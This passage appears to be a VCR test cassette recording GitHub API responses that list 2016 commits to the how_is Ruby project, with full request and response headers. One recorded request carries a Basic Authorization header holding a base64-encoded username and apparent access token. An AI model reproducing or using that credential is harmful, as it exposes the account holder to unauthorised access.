(prawn-table).","tree":{"sha":"b378fb602486c72864aa042f1e5e7d51c30c8b24","url":"https://api.github.com/repos/how-is/how_is/git/trees/b378fb602486c72864aa042f1e5e7d51c30c8b24"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ff5691d12f509c1eec6a001b68cdbfb820a6213d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ff5691d12f509c1eec6a001b68cdbfb820a6213d","html_url":"https://github.com/how-is/how_is/commit/ff5691d12f509c1eec6a001b68cdbfb820a6213d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ff5691d12f509c1eec6a001b68cdbfb820a6213d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2cc34c070a92f9084b9203baae6c61cc8461efab","url":"https://api.github.com/repos/how-is/how_is/commits/2cc34c070a92f9084b9203baae6c61cc8461efab","html_url":"https://github.com/how-is/how_is/commit/2cc34c070a92f9084b9203baae6c61cc8461efab"}]},{"sha":"2cc34c070a92f9084b9203baae6c61cc8461efab","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmNjMzRjMDcwYTkyZjkwODRiOTIwM2JhYWU2YzYxY2M4NDYxZWZhYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:37:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:37:23Z"},"message":"Fix JSON exports.","tree":{"sha":"c7aff082bd94ac78dad3cbec51011d4f96e1ab23","url":"https://api.github.com/repos/how-is/how_is/git/trees/c7aff082bd94ac78dad3cbec51011d4f96e1ab23"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2cc34c070a92f9084b9203baae6c61cc8461efab","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2cc34c070a92f9084b9203baae6c61cc8461efab","html_url":"https://github.com/how-is/how_is/commit/2cc34c070a92f9084b9203baae6c61cc8461efab","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2cc34c070a92f9084b9203baae6c61cc8461efab/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"35461ed776525816b3551a029309893f57afa7f7","url":"https://api.github.com/repos/how-is/how_is/commits/35461ed776525816b3551a029309893f57afa7f7","html_url":"https://github.com/how-is/how_is/commit/35461ed776525816b3551a029309893f57afa7f7"}]},{"sha":"35461ed776525816b3551a029309893f57afa7f7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzU0NjFlZDc3NjUyNTgxNmIzNTUxYTAyOTMwOTg5M2Y1N2FmYTdmNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:31:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:31:03Z"},"message":"Fix failing test.","tree":{"sha":"3e61ccf69137a2b31733c1c280f8f69620d5d8bd","url":"https://api.github.com/repos/how-is/how_is/git/trees/3e61ccf69137a2b31733c1c280f8f69620d5d8bd"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/35461ed776525816b3551a029309893f57afa7f7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/35461ed776525816b3551a029309893f57afa7f7","html_url":"https://github.com/how-is/how_is/commit/35461ed776525816b3551a029309893f57afa7f7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/35461ed776525816b3551a029309893f57afa7f7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4b51a84a49a3b8339289d4bb30635193438016a2","url":"https://api.github.com/repos/how-is/how_is/commits/4b51a84a49a3b8339289d4bb30635193438016a2","html_url":"https://github.com/how-is/how_is/commit/4b51a84a49a3b8339289d4bb30635193438016a2"}]},{"sha":"4b51a84a49a3b8339289d4bb30635193438016a2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGI1MWE4NGE0OWEzYjgzMzkyODlkNGJiMzA2MzUxOTM0MzgwMTZhMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:28:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:28:52Z"},"message":"Update README.md.","tree":{"sha":"5a726e8770b2ed7ae7943ade15359f9dabfb8d4a","url":"https://api.github.com/repos/how-is/how_is/git/trees/5a726e8770b2ed7ae7943ade15359f9dabfb8d4a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4b51a84a49a3b8339289d4bb30635193438016a2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4b51a84a49a3b8339289d4bb30635193438016a2","html_url":"https://github.com/how-is/how_is/commit/4b51a84a49a3b8339289d4bb30635193438016a2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4b51a84a49a3b8339289d4bb30635193438016a2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fb44272a953a493deeb6f6ee98c42ce3ebae92c8","url":"https://api.github.com/repos/how-is/how_is/commits/fb44272a953a493deeb6f6ee98c42ce3ebae92c8","html_url":"https://github.com/how-is/how_is/commit/fb44272a953a493deeb6f6ee98c42ce3ebae92c8"}]},{"sha":"fb44272a953a493deeb6f6ee98c42ce3ebae92c8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmI0NDI3MmE5NTNhNDkzZGVlYjZmNmVlOThjNDJjZTNlYmFlOTJjOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-17T22:29:41Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-17T22:29:41Z"},"message":"Merge branch ''master'' of github.com:duckinator/how_is","tree":{"sha":"29b911ae9050c3d646594fb0d74ce2a40e1bab67","url":"https://api.github.com/repos/how-is/how_is/git/trees/29b911ae9050c3d646594fb0d74ce2a40e1bab67"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fb44272a953a493deeb6f6ee98c42ce3ebae92c8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fb44272a953a493deeb6f6ee98c42ce3ebae92c8","html_url":"https://github.com/how-is/how_is/commit/fb44272a953a493deeb6f6ee98c42ce3ebae92c8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fb44272a953a493deeb6f6ee98c42ce3ebae92c8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"73481aa4bff2fb45de5c2f91abc98581d8c33fd5","url":"https://api.github.com/repos/how-is/how_is/commits/73481aa4bff2fb45de5c2f91abc98581d8c33fd5","html_url":"https://github.com/how-is/how_is/commit/73481aa4bff2fb45de5c2f91abc98581d8c33fd5"},{"sha":"834bda9845080da5d7b44b14d4246de35b106d60","url":"https://api.github.com/repos/how-is/how_is/commits/834bda9845080da5d7b44b14d4246de35b106d60","html_url":"https://github.com/how-is/how_is/commit/834bda9845080da5d7b44b14d4246de35b106d60"}]},{"sha":"73481aa4bff2fb45de5c2f91abc98581d8c33fd5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzM0ODFhYTRiZmYyZmI0NWRlNWMyZjkxYWJjOTg1ODFkOGMzM2ZkNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-17T22:29:30Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-17T22:29:30Z"},"message":"Update .travis.yml.","tree":{"sha":"a0491f57676829b36ecd15a58348dc26d9c99104","url":"https://api.github.com/repos/how-is/how_is/git/trees/a0491f57676829b36ecd15a58348dc26d9c99104"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/73481aa4bff2fb45de5c2f91abc98581d8c33fd5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/73481aa4bff2fb45de5c2f91abc98581d8c33fd5","html_url":"https://github.com/how-is/how_is/commit/73481aa4bff2fb45de5c2f91abc98581d8c33fd5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/73481aa4bff2fb45de5c2f91abc98581d8c33fd5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fb4bae1db94efefc6579fb814bd9f40ee534a7a2","url":"https://api.github.com/repos/how-is/how_is/commits/fb4bae1db94efefc6579fb814bd9f40ee534a7a2","html_url":"https://github.com/how-is/how_is/commit/fb4bae1db94efefc6579fb814bd9f40ee534a7a2"}]},{"sha":"834bda9845080da5d7b44b14d4246de35b106d60","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODM0YmRhOTg0NTA4MGRhNWQ3YjQ0YjE0ZDQyNDZkZTM1YjEwNmQ2MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-17T22:24:39Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-06-17T22:24:39Z"},"message":"Merge pull request #14 from waffle-iron/master\n\nwaffle.io Badge","tree":{"sha":"3afff9f068b6da85cf0ac5223956d734c06634d9","url":"https://api.github.com/repos/how-is/how_is/git/trees/3afff9f068b6da85cf0ac5223956d734c06634d9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/834bda9845080da5d7b44b14d4246de35b106d60","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/834bda9845080da5d7b44b14d4246de35b106d60","html_url":"https://github.com/how-is/how_is/commit/834bda9845080da5d7b44b14d4246de35b106d60","comments_url":"https://api.github.com/repos/how-is/how_is/commits/834bda9845080da5d7b44b14d4246de35b106d60/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"0b1945285cd2ab5c4ca5a7b437187a0a1c5af6dd","url":"https://api.github.com/repos/how-is/how_is/commits/0b1945285cd2ab5c4ca5a7b437187a0a1c5af6dd","html_url":"https://github.com/how-is/how_is/commit/0b1945285cd2ab5c4ca5a7b437187a0a1c5af6dd"},{"sha":"00b09617e86ef3935f810a8d61f3322a57186612","url":"https://api.github.com/repos/how-is/how_is/commits/00b09617e86ef3935f810a8d61f3322a57186612","html_url":"https://github.com/how-is/how_is/commit/00b09617e86ef3935f810a8d61f3322a57186612"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:48 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=15&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3330' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3468f50d3a591f95a63cd74cad37c2f8" Last-Modified: - Fri, 17 Jun 2016 21:56:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 6A75:7FF4:2AFAF5:52F73D:5CC36AF0 body: encoding: ASCII-8BIT string: '[{"sha":"0b1945285cd2ab5c4ca5a7b437187a0a1c5af6dd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGIxOTQ1Mjg1Y2QyYWI1YzRjYTVhN2I0MzcxODdhMGExYzVhZjZkZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-17T21:56:54Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-06-17T21:56:54Z"},"message":"Merge pull request #9 from olleolleolle/fix/use-abort\n\nExecutable: Fail faster, use abort","tree":{"sha":"a1f88bf6c0158ed4fb596ce4c0f3d7ea6b42e80b","url":"https://api.github.com/repos/how-is/how_is/git/trees/a1f88bf6c0158ed4fb596ce4c0f3d7ea6b42e80b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0b1945285cd2ab5c4ca5a7b437187a0a1c5af6dd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0b1945285cd2ab5c4ca5a7b437187a0a1c5af6dd","html_url":"https://github.com/how-is/how_is/commit/0b1945285cd2ab5c4ca5a7b437187a0a1c5af6dd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0b1945285cd2ab5c4ca5a7b437187a0a1c5af6dd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"14b6a2732e2b1cd2fc17450d30de75e7be6e85d9","url":"https://api.github.com/repos/how-is/how_is/commits/14b6a2732e2b1cd2fc17450d30de75e7be6e85d9","html_url":"https://github.com/how-is/how_is/commit/14b6a2732e2b1cd2fc17450d30de75e7be6e85d9"},{"sha":"bbfbb9d389e4c155310efe02ee0280fffb41c435","url":"https://api.github.com/repos/how-is/how_is/commits/bbfbb9d389e4c155310efe02ee0280fffb41c435","html_url":"https://github.com/how-is/how_is/commit/bbfbb9d389e4c155310efe02ee0280fffb41c435"}]},{"sha":"14b6a2732e2b1cd2fc17450d30de75e7be6e85d9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTRiNmEyNzMyZTJiMWNkMmZjMTc0NTBkMzBkZTc1ZTdiZTZlODVkOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-17T00:16:08Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-17T00:16:08Z"},"message":"Implement separate export() and export!() for PDF and JSON.","tree":{"sha":"7cf5ef8c0db20e25809f72ff8eb333deff886aa2","url":"https://api.github.com/repos/how-is/how_is/git/trees/7cf5ef8c0db20e25809f72ff8eb333deff886aa2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/14b6a2732e2b1cd2fc17450d30de75e7be6e85d9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/14b6a2732e2b1cd2fc17450d30de75e7be6e85d9","html_url":"https://github.com/how-is/how_is/commit/14b6a2732e2b1cd2fc17450d30de75e7be6e85d9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/14b6a2732e2b1cd2fc17450d30de75e7be6e85d9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"07ebf56028229f98c49b5ebd9bf1bbb10884d6f4","url":"https://api.github.com/repos/how-is/how_is/commits/07ebf56028229f98c49b5ebd9bf1bbb10884d6f4","html_url":"https://github.com/how-is/how_is/commit/07ebf56028229f98c49b5ebd9bf1bbb10884d6f4"}]},{"sha":"07ebf56028229f98c49b5ebd9bf1bbb10884d6f4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDdlYmY1NjAyODIyOWY5OGM0OWI1ZWJkOWJmMWJiYjEwODg0ZDZmNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-16T23:52:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-16T23:52:48Z"},"message":"Add issues with no label to PDF 